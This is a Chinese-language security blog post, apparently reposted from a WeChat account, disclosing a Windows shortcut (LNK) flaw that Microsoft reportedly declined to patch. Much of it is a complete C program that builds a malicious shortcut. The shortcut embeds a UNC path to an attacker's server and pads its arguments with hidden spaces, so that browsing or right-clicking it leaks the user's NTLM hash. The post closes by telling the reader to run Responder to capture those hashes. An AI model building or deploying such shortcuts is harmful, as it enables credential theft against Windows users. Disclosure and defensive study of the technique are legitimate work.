概述
我最近发现并负责任地披露了一个影响 Windows LNK 文件(快捷方式)的潜在安全问题。该问题影响多个版本的 Windows 操作系统,包括 Windows 10、Windows 11 以及最新版本。尽管微软提供了 PoC 来证明该漏洞的安全隐患,但微软拒绝通过补丁程序修复该漏洞,并声称该漏洞“不符合其服务的安全标准”。
微软的辩解主要集中在他们的 Web 标记 (MOTW) 保护机制上。根据他们的回复,我发现的问题并不构成重大安全风险,因为 MOTW 保护机制会应用于从互联网下载的 LNK 文件,据称可以缓解我在 PoC 中演示的漏洞利用向量。
这种情况凸显了安全社区的一个重要考虑,即依赖二级保护机制还是直接解决底层漏洞。虽然 MOTW 确实为来自不受信任来源的文件提供了额外的安全层,但它引发了一些问题,即这种保护可能被绕过,或者 LNK 文件通过不触发 MOTW 的替代载体传递的情况。
根本原因分析
这篇文章继承了之前关于Windows LNK - 分析与概念验证的文章。Windows LNK 文件存在一个安全问题,攻击者可以利用该问题创建恶意快捷方式,在用户看来看似无害的同时执行命令。
漏洞探索揭示了一种攻击向量,例如结构操纵。该漏洞利用 LNK 文件结构中的特定位(特别是 HasArguments 标志和带有 UNC 路径的 EnvironmentVariableDataBlock)来控制执行流程。
EnvironmentVariableDataBlock这似乎非常敏感,因为您必须将设置BlockSize为 788 字节 (0x00000314),并且我们必须设置 的签名,EnvironmentVariableDataBlock即0xA0000001。设置完成后,我们可以将 的缓冲区大小分配TargetAnsi为 260 字节和520 字节。稍后执行 LNK 并调用 中的其余参数时,TargetUnicode我们将在此处调用 。在这种情况下,我们需要启用中的标志,这意味着我们的参数将使用 Unicode 进行调用和执行。envPath
COMMAND_LINE_ARGUMENTS
IsUnicode
LinkFlags
此处似乎envPath支持 UNC,我们可以直接调用所需的 UNC 路径。因此,当我们将变量赋值envUNC给 UNC 路径时,必须在分配 的空间时设置它TargetUnicode。 的值TargetUnicode将作为 UNC 路径的一部分包含在内。从技术上讲,这段代码创建时EnvironmentVariableDataBlock使用了 UNC 参数。
constchar* envUNC = "\\<IP Address Here>\c";
DWORD envBlockSize = 0x00000314;
DWORD envSignature = ENVIRONMENTAL_VARIABLES_DATABLOCK_SIGNATURE;
if (!WriteFile(hFile, &envBlockSize, sizeof(DWORD), &bytesWritten, NULL)) {
printf("Failed to write env block size: %lun", GetLastError());
CloseHandle(hFile);
return1;
}
if (!WriteFile(hFile, &envSignature, sizeof(DWORD), &bytesWritten, NULL)) {
printf("Failed to write env block signature: %lun", GetLastError());
CloseHandle(hFile);
return1;
}
char ansiBuffer[260] = { 0 };
strncpy(ansiBuffer, envUNC, 259);
if (!WriteFile(hFile, ansiBuffer, 260, &bytesWritten, NULL)) {
printf("Failed to write TargetAnsi: %lun", GetLastError());
CloseHandle(hFile);
return1;
}
WCHAR unicodeBuffer[260] = { 0 };
if (MultiByteToWideChar(CP_ACP, 0, envUNC, -1, unicodeBuffer, 260) == 0) {
printf("Failed to convert to Unicode: %lun", GetLastError());
CloseHandle(hFile);
return1;
}
if (!WriteFile(hFile, unicodeBuffer, 520, &bytesWritten, NULL)) {
printf("Failed to write TargetUnicode: %lun", GetLastError());
CloseHandle(hFile);
return1;
}
如果我们编译该程序并执行 LNK 构建器,我们将在 LNK 文件结构中看到类似这样的内容,并且我们的文件EnvironmentVariableDataBlock被分配了 UNC 路径:
为了进一步理解,我们需要在 Explorer 上下文中跟踪解析的执行流程。
这里我们看到 Windows 将 UNC 路径分解成各个部分。系统正在搜索反斜杠字符,以将服务器名称 (192.168.44.128) 与共享名称 (c) 分隔开。此解析对于确定如何访问网络资源至关重要。这些带有 SHGDN_FORPARSING 标志的调用表明 Windows 正在请求 Shell 项的完整解析路径。
QueryInterface 调用请求接口 GUID {94727de2-b2ed-41b5-9eb5-0939ea9d0efc},该接口对应于 IShellFolder2。此高级文件夹接口扩展了基本 IShellFolder 接口,并增加了以下功能:
-
检索扩展属性信息
-
管理资源管理器视图的列详细信息
-
处理 shell 项目的自定义属性此接口链(IInitializeNetworkFolder → IShellFolder2)揭示了 Windows 如何构建分层抽象来处理网络资源,其中每一层都添加专门的功能。
IInitializeNetworkFolder是 Windows Shell API 中专门为处理网络资源而设计的 COM 接口。此接口是 Windows 内部架构的一部分,用于表示和与网络位置交互。它可以初始化代表网络资源(共享、计算机、打印机)的 Shell 文件夹对象。当您在资源管理器中访问网络资源时,会发生以下过程:
-
Explorer 检测到您正在访问网络路径
-
然后创建一个 shell 文件夹对象来表示该网络位置
-
这里将通过以下方式初始化对象IInitializeNetworkFolder::Initialize()
然后,初始化的对象将有关网络资源的信息返回给 Explorer。IInitializeNetworkFolder准备对象以供显示和访问。
概念验证
那么这里发生了什么?当用户访问包含 LNK 文件的文件夹时,资源管理器会解析文件夹中存储的所有文件,并识别文件类型等。当它成功识别文件类型(例如 LNK)后,它将解析 LNK 并尝试理解 LNK 的结构。此时,文件初始化已准备好被调用/执行,例如 UNC 路径。然后,当用户右键单击 LNK 文件时,资源管理器已经知道该文件已初始化到网络文件夹。
以下是概念的工作证明:
#include <windows.h>
#include <stdio.h>
#pragma pack(1)
#pragma warning(disable:4996)
typedefstruct _ShellLinkHeader {
DWORD HeaderSize;
GUID LinkCLSID;
DWORD LinkFlags;
DWORD FileAttributes;
FILETIME CreationTime;
FILETIME AccessTime;
FILETIME WriteTime;
DWORD FileSize;
DWORD IconIndex;
DWORD ShowCommand;
WORD HotKey;
WORD Reserved1;
DWORD Reserved2;
DWORD Reserved3;
} SHELL_LINK_HEADER, * PSHELL_LINK_HEADER;
#define HAS_LINK_TARGET_IDLIST 0x00000001
#define HAS_LINK_INFO 0x00000002
#define HAS_NAME 0x00000004
#define HAS_RELATIVE_PATH 0x00000008
#define HAS_WORKING_DIR 0x00000010
#define HAS_ARGUMENTS 0x00000020
#define HAS_ICON_LOCATION 0x00000040
#define IS_UNICODE 0x00000080
#define FORCE_NO_LINKINFO 0x00000100
#define HAS_EXP_STRING 0x00000200
#define RUN_IN_SEPARATE_PROCESS 0x00000400
#define HAS_LOGO3ID 0x00000800
#define HAS_DARWIN_ID 0x00001000
#define RUN_AS_USER 0x00002000
#define HAS_EXP_ICON 0x00004000
#define NO_PIDL_ALIAS 0x00008000
#define FORCE_USHORTCUT 0x00010000
#define RUN_WITH_SHIMLAYER 0x00020000
#define FORCE_NO_LINKTRACK 0x00040000
#define ENABLE_TARGET_METADATA 0x00080000
#define DISABLE_LINK_PATH_TRACKING 0x00100000
#define DISABLE_KNOWNFOLDER_TRACKING 0x00200000
#define DISABLE_KNOWNFOLDER_ALIAS 0x00400000
#define ALLOW_LINK_TO_LINK 0x00800000
#define UNALIAS_ON_SAVE 0x01000000
#define PREFER_ENVIRONMENT_PATH 0x02000000
#define KEEP_LOCAL_IDLIST_FOR_UNC 0x04000000
#pragma pack()
#define SW_SHOWNORMAL 0x00000001
#define SW_SHOWMAXIMIZED 0x00000003
#define SW_SHOWMINNOACTIVE 0x00000007
#define ENVIRONMENTAL_VARIABLES_DATABLOCK_SIGNATURE 0xA0000001
#define CONSOLE_DATABLOCK_SIGNATURE 0xA0000002
#define TRACKER_DATABLOCK_SIGNATURE 0xA0000003
#define CONSOLE_PROPS_DATABLOCK_SIGNATURE 0xA0000004
#define SPECIAL_FOLDER_DATABLOCK_SIGNATURE 0xA0000005
#define DARWIN_DATABLOCK_SIGNATURE 0xA0000006
#define ICON_ENVIRONMENT_DATABLOCK_SIGNATURE 0xA0000007
#define SHIM_DATABLOCK_SIGNATURE 0xA0000008
#define PROPERTY_STORE_DATABLOCK_SIGNATURE 0xA0000009
#define KNOWN_FOLDER_DATABLOCK_SIGNATURE 0xA000000B
#define VISTA_AND_ABOVE_IDLIST_DATABLOCK_SIGNATURE 0xA000000C
#define EMBEDDED_EXE_DATABLOCK_SIGNATURE 0xA000CAFE
int main() {
constchar* lnkFilePath = "poc.lnk";
HANDLE hFile;
DWORD bytesWritten;
hFile = CreateFileA(lnkFilePath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("Failed to create LNK file: %lun", GetLastError());
return1;
}
SHELL_LINK_HEADER header = { 0 };
header.HeaderSize = 0x0000004C;
header.LinkCLSID.Data1 = 0x00021401;
header.LinkCLSID.Data2 = 0x0000;
header.LinkCLSID.Data3 = 0x0000;
header.LinkCLSID.Data4[0] = 0xC0;
header.LinkCLSID.Data4[1] = 0x00;
header.LinkCLSID.Data4[2] = 0x00;
header.LinkCLSID.Data4[3] = 0x00;
header.LinkCLSID.Data4[4] = 0x00;
header.LinkCLSID.Data4[5] = 0x00;
header.LinkCLSID.Data4[6] = 0x00;
header.LinkCLSID.Data4[7] = 0x46;
header.LinkFlags = HAS_NAME |
HAS_ARGUMENTS |
HAS_ICON_LOCATION |
IS_UNICODE |
HAS_EXP_STRING;
header.FileAttributes = FILE_ATTRIBUTE_NORMAL;
SYSTEMTIME st;
GetSystemTime(&st);
SystemTimeToFileTime(&st, &header.CreationTime);
SystemTimeToFileTime(&st, &header.AccessTime);
SystemTimeToFileTime(&st, &header.WriteTime);
header.FileSize = 0;
header.IconIndex = 0;
header.ShowCommand = SW_SHOWNORMAL;
header.HotKey = 0;
header.Reserved1 = 0;
header.Reserved2 = 0;
header.Reserved3 = 0;
if (!WriteFile(hFile, &header, sizeof(SHELL_LINK_HEADER), &bytesWritten, NULL)) {
printf("Failed to write header: %lun", GetLastError());
CloseHandle(hFile);
return1;
}
constchar* description = "testing purpose";
WORD descLen = (WORD)strlen(description);
if (!WriteFile(hFile, &descLen, sizeof(WORD), &bytesWritten, NULL)) {
printf("Failed to write description length: %lun", GetLastError());
CloseHandle(hFile);
return1;
}
int wideBufSize = MultiByteToWideChar(CP_ACP, 0, description, -1, NULL, 0);
WCHAR* wideDesc = (WCHAR*)malloc(wideBufSize * sizeof(WCHAR));
if (!wideDesc) {
printf("Memory allocation failedn");
CloseHandle(hFile);
return1;
}
MultiByteToWideChar(CP_ACP, 0, description, -1, wideDesc, wideBufSize);
if (!WriteFile(hFile, wideDesc, descLen * sizeof(WCHAR), &bytesWritten, NULL)) {
printf("Failed to write description: %lun", GetLastError());
free(wideDesc);
CloseHandle(hFile);
return1;
}
free(wideDesc);
constchar* calcCmd = "";
char cmdLineBuffer[1024] = { 0 };
int cmdLen = strlen(calcCmd);
int fillBytes = 900 - cmdLen;
memset(cmdLineBuffer, 0x20, fillBytes);
strcpy(cmdLineBuffer + fillBytes, calcCmd);
cmdLineBuffer[900] = ' ';
WORD cmdArgLen = (WORD)strlen(cmdLineBuffer);
if (!WriteFile(hFile, &cmdArgLen, sizeof(WORD), &bytesWritten, NULL)) {
printf("Failed to write cmd length: %lun", GetLastError());
CloseHandle(hFile);
return1;
}
int wideCmdBufSize = MultiByteToWideChar(CP_ACP, 0, cmdLineBuffer, -1, NULL, 0);
WCHAR* wideCmd = (WCHAR*)malloc(wideCmdBufSize * sizeof(WCHAR));
if (!wideCmd) {
printf("Memory allocation failedn");
CloseHandle(hFile);
return1;
}
MultiByteToWideChar(CP_ACP, 0, cmdLineBuffer, -1, wideCmd, wideCmdBufSize);
if (!WriteFile(hFile, wideCmd, cmdArgLen * sizeof(WCHAR), &bytesWritten, NULL)) {
printf("Failed to write cmd: %lun", GetLastError());
free(wideCmd);
CloseHandle(hFile);
return1;
}
free(wideCmd);
constchar* iconPath = "path\to\your\icon";
WORD iconLen = (WORD)strlen(iconPath);
if (!WriteFile(hFile, &iconLen, sizeof(WORD), &bytesWritten, NULL)) {
printf("Failed to write icon length: %lun", GetLastError());
CloseHandle(hFile);
return1;
}
int wideIconBufSize = MultiByteToWideChar(CP_ACP, 0, iconPath, -1, NULL, 0);
WCHAR* wideIcon = (WCHAR*)malloc(wideIconBufSize * sizeof(WCHAR));
if (!wideIcon) {
printf("Memory allocation failedn");
CloseHandle(hFile);
return1;
}
MultiByteToWideChar(CP_ACP, 0, iconPath, -1, wideIcon, wideIconBufSize);
if (!WriteFile(hFile, wideIcon, iconLen * sizeof(WCHAR), &bytesWritten, NULL)) {
printf("Failed to write icon path: %lun", GetLastError());
free(wideIcon);
CloseHandle(hFile);
return1;
}
free(wideIcon);
constchar* envUNC = "\\<IP address here>\c";
DWORD envBlockSize = 0x00000314;
DWORD envSignature = ENVIRONMENTAL_VARIABLES_DATABLOCK_SIGNATURE;
printf("Creating Environment Variables Data Block:n");
printf(" Using fixed block size: 0x%08X (%lu bytes)n", envBlockSize, envBlockSize);
if (!WriteFile(hFile, &envBlockSize, sizeof(DWORD), &bytesWritten, NULL)) {
printf("Failed to write env block size: %lun", GetLastError());
CloseHandle(hFile);
return1;
}
printf(" Write block size: %lu bytes writtenn", bytesWritten);
if (!WriteFile(hFile, &envSignature, sizeof(DWORD), &bytesWritten, NULL)) {
printf("Failed to write env block signature: %lun", GetLastError());
CloseHandle(hFile);
return1;
}
printf(" Wrote block signature: %lu bytes writtenn", bytesWritten);
char ansiBuffer[260] = { 0 };
strncpy(ansiBuffer, envUNC, 259);
if (!WriteFile(hFile, ansiBuffer, 260, &bytesWritten, NULL)) {
printf("Failed to write TargetAnsi: %lun", GetLastError());
CloseHandle(hFile);
return1;
}
printf(" Write TargetAnsi: %lu bytes written (fixed 260 bytes)n", bytesWritten);
WCHAR unicodeBuffer[260] = { 0 };
if (MultiByteToWideChar(CP_ACP, 0, envUNC, -1, unicodeBuffer, 260) == 0) {
printf("Failed to convert to Unicode: %lun", GetLastError());
CloseHandle(hFile);
return1;
}
if (!WriteFile(hFile, unicodeBuffer, 520, &bytesWritten, NULL)) {
printf("Failed to write TargetUnicode: %lun", GetLastError());
CloseHandle(hFile);
return1;
}
printf(" Write TargetUnicode: %lu bytes written (fixed 520 bytes)n", bytesWritten);
CloseHandle(hFile);
printf("LNK file created successfully: %sn", lnkFilePath);
printf("Command line buffer size: %d bytesn", (int)strlen(cmdLineBuffer));
return0;
}
编译代码后,运行可执行文件以生成 LNK 文件并确保运行Responder工具来捕获 NTLM Hash。
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里
原文始发于微信公众号(Ots安全):右键单击执行 - Windows LNK NTLM 泄漏的故事
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论